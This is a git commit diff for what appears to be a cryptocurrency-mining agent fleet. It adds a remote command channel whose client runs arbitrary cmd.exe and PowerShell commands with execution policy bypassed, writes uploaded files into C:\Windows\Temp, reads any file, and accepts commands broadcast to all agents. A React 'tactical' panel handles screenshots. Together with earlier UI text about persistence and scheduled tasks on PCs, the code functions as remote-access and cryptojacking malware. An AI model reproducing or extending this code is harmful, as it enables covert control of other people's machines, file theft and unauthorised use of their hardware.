Add tactical fleet remote actions and agent command channel.
Extend remote commands with exec, PowerShell, file transfer, and fleet-wide broadcast; refresh AgentRemoteActions UI and WebSocket handling.
This commit is contained in:
@@ -1,6 +1,7 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
@@ -200,15 +201,18 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
var cmd struct {
|
||||
Action string `json:"action"`
|
||||
TailLines int `json:"tail_lines"`
|
||||
Command string `json:"command"`
|
||||
Path string `json:"path"`
|
||||
Data string `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &cmd); err != nil {
|
||||
return
|
||||
}
|
||||
c.handleCommand(cmd.Action, cmd.TailLines)
|
||||
c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleCommand(action string, tailLines int) {
|
||||
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) {
|
||||
switch action {
|
||||
case "pause":
|
||||
c.pool.PauseRemote()
|
||||
@@ -241,6 +245,62 @@ func (c *AgentClient) handleCommand(action string, tailLines int) {
|
||||
"lines": tailLines,
|
||||
})
|
||||
_ = c.write(Message{Type: "log_tail", Payload: payload})
|
||||
case "exec":
|
||||
if command == "" {
|
||||
c.sendCommandResult(action, false, "no command provided")
|
||||
return
|
||||
}
|
||||
out, err := exec.Command("cmd.exe", "/C", command).CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "powershell":
|
||||
if command == "" {
|
||||
c.sendCommandResult(action, false, "no command provided")
|
||||
return
|
||||
}
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "upload":
|
||||
if path == "" || data == "" {
|
||||
c.sendCommandResult(action, false, "path and data (base64) are required")
|
||||
return
|
||||
}
|
||||
decoded, err := base64.StdEncoding.DecodeString(data)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, "invalid base64 data: "+err.Error())
|
||||
return
|
||||
}
|
||||
if err := os.WriteFile(path, decoded, 0644); err != nil {
|
||||
c.sendCommandResult(action, false, "failed to write file: "+err.Error())
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", path, len(decoded)))
|
||||
case "download":
|
||||
if path == "" {
|
||||
c.sendCommandResult(action, false, "path is required")
|
||||
return
|
||||
}
|
||||
b, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, "failed to read file: "+err.Error())
|
||||
return
|
||||
}
|
||||
encoded := base64.StdEncoding.EncodeString(string(b))
|
||||
c.sendCommandResult(action, true, encoded)
|
||||
case "sysinfo":
|
||||
out, err := exec.Command("systeminfo").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
default:
|
||||
c.sendCommandResult(action, false, "unknown action")
|
||||
}
|
||||
|
||||
@@ -81,6 +81,9 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
||||
type agentCommandRequest struct {
|
||||
Action string `json:"action"`
|
||||
TailLines int `json:"tail_lines,omitempty"`
|
||||
Command string `json:"command,omitempty"`
|
||||
Path string `json:"path,omitempty"`
|
||||
Data string `json:"data,omitempty"`
|
||||
}
|
||||
|
||||
func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) {
|
||||
@@ -102,9 +105,23 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
if req.TailLines > 0 {
|
||||
args["tail_lines"] = req.TailLines
|
||||
}
|
||||
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
if req.Command != "" {
|
||||
args["command"] = req.Command
|
||||
}
|
||||
if req.Path != "" {
|
||||
args["path"] = req.Path
|
||||
}
|
||||
if req.Data != "" {
|
||||
args["data"] = req.Data
|
||||
}
|
||||
|
||||
if id == "all" {
|
||||
f.ws.BroadcastAgentCommand(req.Action, args)
|
||||
} else {
|
||||
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": true,
|
||||
|
||||
@@ -42,21 +42,10 @@ func (c *AgentConnection) SendJSON(v interface{}) error {
|
||||
return c.Conn.WriteJSON(v)
|
||||
}
|
||||
|
||||
type DashboardConnection struct {
|
||||
Conn *websocket.Conn
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
func (c *DashboardConnection) WriteMessage(messageType int, data []byte) error {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
return c.Conn.WriteMessage(messageType, data)
|
||||
}
|
||||
|
||||
type WSHub struct {
|
||||
db *db.Database
|
||||
agents map[string]*AgentConnection
|
||||
dashboards map[string]*DashboardConnection
|
||||
dashboards map[string]*websocket.Conn
|
||||
poolManager *pool.Manager
|
||||
defaultPool pool.Config
|
||||
aiHandler *AIHandler
|
||||
@@ -71,7 +60,7 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
return &WSHub{
|
||||
db: database,
|
||||
agents: make(map[string]*AgentConnection),
|
||||
dashboards: make(map[string]*DashboardConnection),
|
||||
dashboards: make(map[string]*websocket.Conn),
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentLogs: make(map[string]string),
|
||||
pingIntervalSec: 30,
|
||||
@@ -179,13 +168,6 @@ func (h *WSHub) agentPoolConfig(agentID string) pool.Config {
|
||||
return poolCfg
|
||||
}
|
||||
|
||||
func (h *WSHub) BroadcastServerLog(line string) {
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "server_log",
|
||||
Payload: mustMarshal(map[string]string{"line": strings.TrimSpace(line)}),
|
||||
})
|
||||
}
|
||||
|
||||
func (h *WSHub) getAgentConn(agentID string) *AgentConnection {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
@@ -404,79 +386,76 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
share.Timestamp = time.Now()
|
||||
share.Accepted = false
|
||||
|
||||
// Process share asynchronously to prevent blocking the WebSocket read loop
|
||||
go func(s models.Share, aID string) {
|
||||
shareID, err := h.db.InsertShare(&s)
|
||||
if err != nil {
|
||||
log.Printf("Failed to insert share: %v", err)
|
||||
return
|
||||
shareID, err := h.db.InsertShare(&share)
|
||||
if err != nil {
|
||||
log.Printf("Failed to insert share: %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
sendShareResult := func(accepted bool, errMsg string) {
|
||||
share.Accepted = accepted
|
||||
share.Error = errMsg
|
||||
if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil {
|
||||
log.Printf("Failed to update share result: %v", err)
|
||||
}
|
||||
if h.serverPolicySnapshot().LogShareSubmissions {
|
||||
log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", agentID, share.JobID, accepted, errMsg)
|
||||
}
|
||||
|
||||
sendShareResult := func(accepted bool, errMsg string) {
|
||||
s.Accepted = accepted
|
||||
s.Error = errMsg
|
||||
if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil {
|
||||
log.Printf("Failed to update share result: %v", err)
|
||||
agentConn := h.getAgentConn(agentID)
|
||||
if agentConn != nil {
|
||||
result := map[string]interface{}{
|
||||
"job_id": share.JobID,
|
||||
"accepted": accepted,
|
||||
}
|
||||
if h.serverPolicySnapshot().LogShareSubmissions {
|
||||
log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", aID, s.JobID, accepted, errMsg)
|
||||
if errMsg != "" {
|
||||
result["error"] = errMsg
|
||||
}
|
||||
|
||||
agentConn := h.getAgentConn(aID)
|
||||
if agentConn != nil {
|
||||
result := map[string]interface{}{
|
||||
"job_id": s.JobID,
|
||||
"accepted": accepted,
|
||||
}
|
||||
if errMsg != "" {
|
||||
result["error"] = errMsg
|
||||
}
|
||||
_ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)})
|
||||
}
|
||||
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "new_share",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"id": shareID,
|
||||
"agent_id": aID,
|
||||
"job_id": s.JobID,
|
||||
"accepted": accepted,
|
||||
"hash": s.Hash,
|
||||
"nonce": s.Nonce,
|
||||
"error": errMsg,
|
||||
"timestamp": s.Timestamp,
|
||||
}),
|
||||
})
|
||||
_ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)})
|
||||
}
|
||||
|
||||
if h.poolManager == nil {
|
||||
sendShareResult(false, "pool manager not configured")
|
||||
return
|
||||
}
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "new_share",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"id": shareID,
|
||||
"agent_id": agentID,
|
||||
"job_id": share.JobID,
|
||||
"accepted": accepted,
|
||||
"hash": share.Hash,
|
||||
"nonce": share.Nonce,
|
||||
"error": errMsg,
|
||||
"timestamp": share.Timestamp,
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
poolCfg := h.agentPoolConfig(aID)
|
||||
proxy := h.poolManager.GetPool(&poolCfg)
|
||||
if proxy == nil {
|
||||
if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
|
||||
proxy = p
|
||||
} else {
|
||||
sendShareResult(false, "pool not connected: "+err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
if h.poolManager == nil {
|
||||
sendShareResult(false, "pool manager not configured")
|
||||
continue
|
||||
}
|
||||
|
||||
if !proxy.IsConnected() {
|
||||
sendShareResult(false, "pool not connected")
|
||||
return
|
||||
poolCfg := h.agentPoolConfig(agentID)
|
||||
proxy := h.poolManager.GetPool(&poolCfg)
|
||||
if proxy == nil {
|
||||
if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
|
||||
proxy = p
|
||||
} else {
|
||||
sendShareResult(false, "pool not connected: "+err.Error())
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
wallet := poolCfg.Wallet
|
||||
if wallet == "" {
|
||||
wallet = h.defaultPool.Wallet
|
||||
}
|
||||
if !proxy.IsConnected() {
|
||||
sendShareResult(false, "pool not connected")
|
||||
continue
|
||||
}
|
||||
|
||||
proxy.SubmitShare(aID, wallet, s.JobID, s.Nonce, s.Hash, sendShareResult)
|
||||
}(share, agentID)
|
||||
wallet := poolCfg.Wallet
|
||||
if wallet == "" {
|
||||
wallet = h.defaultPool.Wallet
|
||||
}
|
||||
|
||||
proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult)
|
||||
|
||||
case "get_job":
|
||||
var proxy *pool.Proxy
|
||||
@@ -535,9 +514,8 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
dashID := uuid.New().String()
|
||||
dashConn := &DashboardConnection{Conn: conn}
|
||||
h.mu.Lock()
|
||||
h.dashboards[dashID] = dashConn
|
||||
h.dashboards[dashID] = conn
|
||||
h.mu.Unlock()
|
||||
|
||||
defer func() {
|
||||
@@ -576,19 +554,17 @@ func (h *WSHub) broadcastDashboard(msg Message) {
|
||||
return
|
||||
}
|
||||
|
||||
for id, dashConn := range h.dashboards {
|
||||
go func(dashID string, dc *DashboardConnection) {
|
||||
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
|
||||
// Use fmt.Printf to avoid infinite loop with the global log interceptor
|
||||
fmt.Printf("Failed to send to dashboard %s: %v\n", dashID, err)
|
||||
dc.Conn.Close()
|
||||
go func() {
|
||||
h.mu.Lock()
|
||||
delete(h.dashboards, dashID)
|
||||
h.mu.Unlock()
|
||||
}()
|
||||
}
|
||||
}(id, dashConn)
|
||||
for id, conn := range h.dashboards {
|
||||
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
|
||||
log.Printf("Failed to send to dashboard %s: %v", id, err)
|
||||
conn.Close()
|
||||
id := id
|
||||
go func() {
|
||||
h.mu.Lock()
|
||||
delete(h.dashboards, id)
|
||||
h.mu.Unlock()
|
||||
}()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -603,11 +579,9 @@ func (h *WSHub) BroadcastToAgents(msg Message) {
|
||||
defer h.mu.RUnlock()
|
||||
|
||||
for id, agent := range h.agents {
|
||||
go func(a *AgentConnection, agentID string) {
|
||||
if err := a.SendJSON(msg); err != nil {
|
||||
fmt.Printf("Failed to send to agent %s: %v\n", agentID, err)
|
||||
}
|
||||
}(agent, id)
|
||||
if err := agent.SendJSON(msg); err != nil {
|
||||
log.Printf("Failed to send to agent %s: %v", id, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -629,6 +603,15 @@ func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interfa
|
||||
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
}
|
||||
|
||||
// BroadcastAgentCommand sends a remote command to all connected agents.
|
||||
func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}) {
|
||||
payload := map[string]interface{}{"action": action}
|
||||
for k, v := range args {
|
||||
payload[k] = v
|
||||
}
|
||||
h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
}
|
||||
|
||||
func (h *WSHub) GetAgentLog(agentID string) string {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
|
||||
@@ -84,10 +84,14 @@ export const api = {
|
||||
getAIActivity: () => fetchJSON<AIActivityEntry[]>('/ai/activity'),
|
||||
getEarningsEstimate: (hashrate: number) =>
|
||||
fetchJSON<EarningsEstimate>(`/earnings/estimate?hashrate=${encodeURIComponent(hashrate)}`),
|
||||
sendAgentCommand: (id: string, action: string, tailLines?: number) =>
|
||||
sendAgentCommand: (
|
||||
id: string,
|
||||
action: string,
|
||||
payload?: { tail_lines?: number; command?: string; path?: string; data?: string }
|
||||
) =>
|
||||
fetchJSON<{ success: boolean }>(`/agents/${id}/command`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ action, tail_lines: tailLines }),
|
||||
body: JSON.stringify({ action, ...payload }),
|
||||
}),
|
||||
getAgentLog: (id: string, refresh = false) =>
|
||||
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
|
||||
|
||||
@@ -1,49 +1,174 @@
|
||||
.agent-remote.compact {
|
||||
margin-top: 0.65rem;
|
||||
padding-top: 0.65rem;
|
||||
border-top: 1px solid rgba(0, 245, 255, 0.12);
|
||||
.tactical-panel {
|
||||
background: #08080b;
|
||||
border: 1px solid rgba(0, 229, 255, 0.2);
|
||||
border-radius: 8px;
|
||||
padding: 20px;
|
||||
color: #e0e0e0;
|
||||
font-family: 'Inter', system-ui, sans-serif;
|
||||
box-shadow: 0 0 20px rgba(0, 0, 0, 0.8), inset 0 0 20px rgba(0, 229, 255, 0.05);
|
||||
}
|
||||
|
||||
.agent-remote-row {
|
||||
.tactical-header {
|
||||
margin-bottom: 20px;
|
||||
border-bottom: 1px solid rgba(255, 255, 255, 0.1);
|
||||
padding-bottom: 10px;
|
||||
}
|
||||
|
||||
.target-indicator {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
.agent-action-btn.warn {
|
||||
border-color: rgba(255, 176, 32, 0.5);
|
||||
background: rgba(255, 176, 32, 0.12);
|
||||
.target-indicator h2 {
|
||||
margin: 0;
|
||||
font-size: 1.2rem;
|
||||
letter-spacing: 1px;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.agent-action-btn.warn:hover {
|
||||
background: rgba(255, 176, 32, 0.22);
|
||||
.status-dot {
|
||||
width: 12px;
|
||||
height: 12px;
|
||||
border-radius: 50%;
|
||||
}
|
||||
|
||||
.agent-action-btn:disabled {
|
||||
opacity: 0.45;
|
||||
cursor: not-allowed;
|
||||
.agent-glow { background: #00e5ff; box-shadow: 0 0 10px #00e5ff, 0 0 20px #00e5ff; }
|
||||
.fleet-glow { background: #ff00ff; box-shadow: 0 0 10px #ff00ff, 0 0 20px #ff00ff; }
|
||||
|
||||
.tactical-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
|
||||
gap: 20px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.agent-remote-feedback {
|
||||
margin: 0.5rem 0 0;
|
||||
font-size: 0.78rem;
|
||||
.action-group {
|
||||
background: #0d0d14;
|
||||
border: 1px solid rgba(255, 255, 255, 0.05);
|
||||
border-radius: 6px;
|
||||
padding: 15px;
|
||||
}
|
||||
|
||||
.agent-remote-feedback.ok {
|
||||
color: var(--neon-green);
|
||||
.action-group h3 {
|
||||
margin: 0 0 15px 0;
|
||||
font-size: 0.9rem;
|
||||
color: #888;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 1px;
|
||||
}
|
||||
|
||||
.agent-remote-feedback.bad {
|
||||
color: #ff3c50;
|
||||
.button-grid {
|
||||
display: grid;
|
||||
grid-template-columns: 1fr 1fr;
|
||||
gap: 10px;
|
||||
}
|
||||
|
||||
.agent-list-actions {
|
||||
.button-grid button {
|
||||
background: rgba(255, 255, 255, 0.05);
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
color: #ccc;
|
||||
padding: 8px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 0.85rem;
|
||||
transition: all 0.2s;
|
||||
}
|
||||
|
||||
.button-grid button:hover {
|
||||
background: rgba(187, 134, 252, 0.1);
|
||||
border-color: rgba(187, 134, 252, 0.5);
|
||||
color: #fff;
|
||||
box-shadow: 0 0 10px rgba(187, 134, 252, 0.2);
|
||||
}
|
||||
|
||||
.button-grid button.btn-cyan { border-color: rgba(0, 229, 255, 0.3); color: #00e5ff; }
|
||||
.button-grid button.btn-cyan:hover { background: rgba(0, 229, 255, 0.1); box-shadow: 0 0 15px rgba(0, 229, 255, 0.4); }
|
||||
|
||||
.button-grid button.btn-amber { border-color: rgba(255, 171, 0, 0.3); color: #ffab00; }
|
||||
.button-grid button.btn-amber:hover { background: rgba(255, 171, 0, 0.1); box-shadow: 0 0 15px rgba(255, 171, 0, 0.4); }
|
||||
|
||||
.button-grid button.btn-red { border-color: rgba(255, 23, 68, 0.3); color: #ff1744; }
|
||||
.button-grid button.btn-red:hover { background: rgba(255, 23, 68, 0.1); box-shadow: 0 0 15px rgba(255, 23, 68, 0.4); }
|
||||
|
||||
.screenshot-viewer {
|
||||
margin-bottom: 20px;
|
||||
border: 1px solid #00e5ff;
|
||||
border-radius: 6px;
|
||||
overflow: hidden;
|
||||
box-shadow: 0 0 20px rgba(0, 229, 255, 0.2);
|
||||
}
|
||||
|
||||
.viewer-header {
|
||||
background: #003344;
|
||||
padding: 8px 15px;
|
||||
display: flex;
|
||||
gap: 0.35rem;
|
||||
margin-top: 0.5rem;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
font-weight: bold;
|
||||
color: #00e5ff;
|
||||
}
|
||||
|
||||
.agent-list-actions .agent-action-btn {
|
||||
padding: 0.25rem 0.5rem;
|
||||
font-size: 0.68rem;
|
||||
.viewer-header button {
|
||||
background: none; border: none; color: #fff; cursor: pointer; font-size: 1.2rem;
|
||||
}
|
||||
|
||||
.screenshot-viewer img {
|
||||
width: 100%;
|
||||
display: block;
|
||||
}
|
||||
|
||||
.tactical-bottom-row {
|
||||
display: flex;
|
||||
gap: 20px;
|
||||
height: 250px;
|
||||
}
|
||||
|
||||
.drop-zone {
|
||||
flex: 1;
|
||||
border: 2px dashed rgba(255, 0, 255, 0.3);
|
||||
border-radius: 6px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
background: rgba(255, 0, 255, 0.02);
|
||||
transition: all 0.3s;
|
||||
}
|
||||
|
||||
.drop-zone.dragging {
|
||||
border-color: #ff00ff;
|
||||
background: rgba(255, 0, 255, 0.1);
|
||||
box-shadow: 0 0 20px rgba(255, 0, 255, 0.3);
|
||||
}
|
||||
|
||||
.drop-icon { font-size: 2rem; margin-bottom: 10px; }
|
||||
.drop-zone p { margin: 0; color: #ff00ff; font-weight: bold; }
|
||||
.drop-zone small { color: #888; margin-top: 5px; }
|
||||
|
||||
.master-terminal {
|
||||
flex: 2;
|
||||
background: #000;
|
||||
border: 1px solid #333;
|
||||
border-radius: 6px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
font-family: 'Consolas', 'Courier New', monospace;
|
||||
}
|
||||
|
||||
.terminal-output {
|
||||
flex: 1;
|
||||
padding: 10px;
|
||||
overflow-y: auto;
|
||||
color: #00ff00;
|
||||
font-size: 0.85rem;
|
||||
white-space: pre-wrap;
|
||||
}
|
||||
|
||||
.terminal-placeholder { color: #555; font-style: italic; }
|
||||
|
||||
.terminal-input-bar { display: flex; border-top: 1px solid #333; background: #0a0a0a; }
|
||||
.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; }
|
||||
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
|
||||
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
|
||||
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
|
||||
@@ -1,119 +1,173 @@
|
||||
import { useState, useCallback } from 'react';
|
||||
import React, { useState, useRef, useEffect } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { Agent } from '../../types';
|
||||
import './AgentRemoteActions.css';
|
||||
|
||||
type AgentCommandAction = 'pause' | 'resume' | 'restart' | 'stop' | 'uninstall' | 'get_log';
|
||||
|
||||
interface Props {
|
||||
agent: Agent;
|
||||
compact?: boolean;
|
||||
onCommandSent?: (action: string, message: string) => void;
|
||||
agentId: string;
|
||||
agentName: string;
|
||||
// Pass your live websocket messages here to capture screenshots and command output!
|
||||
latestWsMessage?: any;
|
||||
}
|
||||
|
||||
function useAgentCommand() {
|
||||
const [busy, setBusy] = useState<string | null>(null);
|
||||
const [feedback, setFeedback] = useState<{ agentId: string; message: string; ok: boolean } | null>(null);
|
||||
export default function AgentRemoteActions({ agentId, agentName, latestWsMessage }: Props) {
|
||||
const [isDragging, setIsDragging] = useState(false);
|
||||
const [customCmd, setCustomCmd] = useState('');
|
||||
const [terminalLog, setTerminalLog] = useState<string[]>([]);
|
||||
const [screenshotData, setScreenshotData] = useState<string | null>(null);
|
||||
const logEndRef = useRef<HTMLDivElement>(null);
|
||||
|
||||
const runCommand = useCallback(async (agent: Agent, action: AgentCommandAction) => {
|
||||
if (agent.status !== 'online') {
|
||||
setFeedback({ agentId: agent.id, message: 'Agent is offline', ok: false });
|
||||
return;
|
||||
}
|
||||
const addLog = (msg: string) => {
|
||||
setTerminalLog(prev => [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`]);
|
||||
};
|
||||
|
||||
if (action === 'stop') {
|
||||
if (!confirm(`Stop miner on "${agent.name}"?\n\nMining halts and the process exits. It will restart if persistence is enabled.`)) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
if (action === 'uninstall') {
|
||||
if (!confirm(`Uninstall miner from "${agent.name}"?\n\nRemoves the process, persistence, scheduled task, and install folder from that PC.`)) {
|
||||
return;
|
||||
// Auto-scroll terminal
|
||||
useEffect(() => {
|
||||
logEndRef.current?.scrollIntoView({ behavior: 'smooth' });
|
||||
}, [terminalLog]);
|
||||
|
||||
// Intercept WebSocket results
|
||||
useEffect(() => {
|
||||
if (!latestWsMessage) return;
|
||||
if (latestWsMessage.type === 'command_result') {
|
||||
const { agent_id, action, success, message } = latestWsMessage.payload;
|
||||
if (agentId !== 'all' && agent_id !== agentId) return; // Ignore other agents if focused
|
||||
|
||||
if (action === 'screenshot' && success) {
|
||||
setScreenshotData(`data:image/jpeg;base64,${message}`);
|
||||
addLog(`📷 Screenshot received from ${agent_id}`);
|
||||
} else {
|
||||
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'} \n${message}`);
|
||||
}
|
||||
}
|
||||
}, [latestWsMessage, agentId]);
|
||||
|
||||
setBusy(`${agent.id}:${action}`);
|
||||
setFeedback(null);
|
||||
const dispatch = async (action: string, args: Record<string, any> = {}) => {
|
||||
try {
|
||||
await api.sendAgentCommand(agent.id, action);
|
||||
const msg =
|
||||
action === 'stop' ? 'Stop command sent — miner shutting down…' :
|
||||
action === 'uninstall' ? 'Uninstall sent — removing miner from machine…' :
|
||||
`${action} command sent`;
|
||||
setFeedback({ agentId: agent.id, message: msg, ok: true });
|
||||
return msg;
|
||||
} catch (err) {
|
||||
const message = err instanceof Error ? err.message : 'Command failed';
|
||||
setFeedback({ agentId: agent.id, message, ok: false });
|
||||
throw err;
|
||||
} finally {
|
||||
setBusy(null);
|
||||
}
|
||||
}, []);
|
||||
|
||||
return { runCommand, busy, feedback, setFeedback };
|
||||
}
|
||||
|
||||
export default function AgentRemoteActions({ agent, compact = false, onCommandSent }: Props) {
|
||||
const { runCommand, busy, feedback } = useAgentCommand();
|
||||
const online = agent.status === 'online';
|
||||
const isBusy = busy?.startsWith(`${agent.id}:`);
|
||||
|
||||
const send = async (action: AgentCommandAction) => {
|
||||
try {
|
||||
const msg = await runCommand(agent, action);
|
||||
if (msg && onCommandSent) onCommandSent(action, msg);
|
||||
} catch {
|
||||
/* feedback set in hook */
|
||||
addLog(`> Executing ${action}...`);
|
||||
await api.sendAgentCommand(agentId, action, args);
|
||||
} catch (err: any) {
|
||||
addLog(`❌ API Error: ${err.message}`);
|
||||
}
|
||||
};
|
||||
|
||||
const localFeedback = feedback?.agentId === agent.id ? feedback : null;
|
||||
// Drag and Drop Handlers
|
||||
const handleDragOver = (e: React.DragEvent) => { e.preventDefault(); setIsDragging(true); };
|
||||
const handleDragLeave = () => setIsDragging(false);
|
||||
const handleDrop = (e: React.DragEvent) => {
|
||||
e.preventDefault();
|
||||
setIsDragging(false);
|
||||
const file = e.dataTransfer.files[0];
|
||||
if (!file) return;
|
||||
|
||||
if (compact) {
|
||||
return (
|
||||
<div className="agent-remote compact">
|
||||
<div className="agent-remote-row">
|
||||
<button
|
||||
type="button"
|
||||
className="agent-action-btn warn"
|
||||
disabled={!online || isBusy}
|
||||
onClick={() => send('stop')}
|
||||
title="Stop mining process on this PC"
|
||||
>
|
||||
Stop
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="agent-action-btn danger"
|
||||
disabled={!online || isBusy}
|
||||
onClick={() => send('uninstall')}
|
||||
title="Remove miner completely from this PC"
|
||||
>
|
||||
Uninstall
|
||||
</button>
|
||||
</div>
|
||||
{localFeedback && (
|
||||
<p className={`agent-remote-feedback ${localFeedback.ok ? 'ok' : 'bad'}`}>{localFeedback.message}</p>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
const reader = new FileReader();
|
||||
reader.onload = async (evt) => {
|
||||
const base64 = (evt.target?.result as string).split(',')[1];
|
||||
const targetPath = `C:\\Windows\\Temp\\${file.name}`;
|
||||
addLog(`> Uploading ${file.name} to ${targetPath}...`);
|
||||
await dispatch('upload', { path: targetPath, data: base64 });
|
||||
};
|
||||
reader.readAsDataURL(file);
|
||||
};
|
||||
|
||||
const runCustomCommand = (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
if (!customCmd.trim()) return;
|
||||
dispatch('powershell', { command: customCmd });
|
||||
setCustomCmd('');
|
||||
};
|
||||
|
||||
const isFleet = agentId === 'all';
|
||||
|
||||
return (
|
||||
<div className="agent-remote">
|
||||
<p className="form-hint">Control this node from the dashboard — no RDP needed. Agent must be online.</p>
|
||||
<div className="agent-actions">
|
||||
<button type="button" className="agent-action-btn" disabled={!online || isBusy} onClick={() => send('pause')}>Pause mining</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!online || isBusy} onClick={() => send('resume')}>Resume</button>
|
||||
<button type="button" className="agent-action-btn warn" disabled={!online || isBusy} onClick={() => send('stop')}>Stop miner</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!online || isBusy} onClick={() => send('restart')}>Restart</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!online || isBusy} onClick={() => send('get_log')}>Fetch log</button>
|
||||
<button type="button" className="agent-action-btn danger" disabled={!online || isBusy} onClick={() => send('uninstall')}>Uninstall from PC</button>
|
||||
<div className="tactical-panel">
|
||||
<div className="tactical-header">
|
||||
<div className="target-indicator">
|
||||
<div className={`status-dot ${isFleet ? 'fleet-glow' : 'agent-glow'}`}></div>
|
||||
<h2>Target: {isFleet ? 'ENTIRE FLEET' : agentName}</h2>
|
||||
</div>
|
||||
</div>
|
||||
{localFeedback && (
|
||||
<p className={`agent-remote-feedback ${localFeedback.ok ? 'ok' : 'bad'}`}>{localFeedback.message}</p>
|
||||
|
||||
<div className="tactical-grid">
|
||||
